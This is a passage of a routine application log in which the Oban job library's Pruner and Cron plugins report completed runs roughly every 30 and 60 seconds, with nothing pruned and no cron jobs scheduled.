{"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:34.181 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:00.418 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:16:04.182 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:34.185 [info] {"source":"oban","duration":919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:00.419 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:17:04.187 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:34.189 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.420 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:18:04.191 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:34.193 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:00.421 [info] {"source":"oban","duration":225,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:19:04.195 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:34.197 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.422 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:20:04.199 [info] {"source":"oban","duration":1605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:34.201 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:00.423 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:21:04.203 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:34.205 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.424 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:22:04.207 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:34.209 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.425 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:23:04.211 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:34.213 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.426 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:24:04.215 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:34.217 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.427 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:25:04.219 [info] {"source":"oban","duration":1698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:34.222 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:00.428 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:26:04.224 [info] {"source":"oban","duration":971,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:34.226 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.432 [info] {"source":"oban","duration":2296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:27:04.228 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:34.230 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.435 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:28:04.232 [info] {"source":"oban","duration":1592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:34.234 [info] {"source":"oban","duration":1112,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.436 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:29:04.236 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:34.238 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.437 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:30:04.240 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:34.242 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:00.439 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:31:04.244 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:34.246 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.440 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:32:04.248 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:34.250 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.441 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:33:04.252 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:34.254 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.442 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:34:04.256 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:34.258 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.443 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:35:04.260 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:34.262 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.444 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:36:04.264 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:34.266 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.445 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:37:04.268 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:34.270 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.446 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:38:04.272 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:34.274 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.447 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:39:04.276 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:34.278 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:00.448 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:40:04.280 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:34.282 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:00.449 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:41:04.285 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:34.287 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:00.450 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:42:04.289 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:34.291 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:00.451 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:43:04.293 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:34.295 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.452 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:44:04.296 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:34.299 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.453 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:45:04.301 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:34.303 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.454 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:46:04.305 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:34.307 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:00.455 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:47:04.309 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:34.311 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:00.456 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:48:04.313 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:34.315 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.457 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:49:04.317 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:34.319 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:00.458 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:50:04.321 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:34.323 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:00.459 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:51:04.325 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:34.327 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.460 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:52:04.329 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:34.331 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.461 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:53:04.333 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:34.335 [info] {"source":"oban","duration":1353,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.462 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:54:04.337 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:34.339 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.463 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:55:04.341 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:34.343 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.464 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:56:04.345 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:34.347 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:00.465 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:57:04.349 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:34.351 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.466 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:58:04.353 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:34.355 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.467 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:59:04.357 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:34.359 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.468 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:00:04.361 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:34.363 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:00.469 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:01:04.365 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:34.367 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.470 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:02:04.369 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:34.371 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:00.471 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:03:04.373 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:34.375 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.472 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:04:04.377 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:34.379 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.473 [info] {"source":"oban","duration":337,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:05:04.381 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:34.383 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.474 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:06:04.385 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:34.387 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.475 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:07:04.389 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:34.391 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.476 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:08:04.393 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:34.395 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.477 [info] {"source":"oban","duration":233,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:09:04.397 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:34.399 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.478 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:10:04.401 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:34.403 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.479 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:11:04.405 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:34.407 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.480 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:12:04.409 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:34.411 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.481 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:13:04.413 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:34.415 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.482 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:14:04.417 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:34.419 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.483 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:15:04.421 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:34.423 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.484 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:16:04.425 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:34.427 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.485 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:17:04.428 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:34.431 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.486 [info] {"source":"oban","duration":246,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:18:04.433 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:34.434 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.487 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:19:04.436 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:34.438 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.488 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:20:04.440 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:34.442 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.489 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:21:04.444 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:34.447 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.490 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:22:04.449 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:34.451 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.491 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:23:04.453 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:34.455 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.492 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:24:04.457 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:34.459 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.493 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:25:04.461 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:34.463 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.494 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:26:04.465 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:34.466 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.495 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:27:04.469 [info] {"source":"oban","duration":1115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:34.471 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.496 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:28:04.473 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:34.475 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.497 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:29:04.477 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:34.479 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.498 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:30:04.481 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:34.483 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:00.499 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:31:04.485 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:31:34.487 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:00.500 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:32:04.489 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:32:34.491 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:00.501 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:33:04.493 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:33:34.495 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:00.502 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:34:04.497 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:34:34.499 [info] 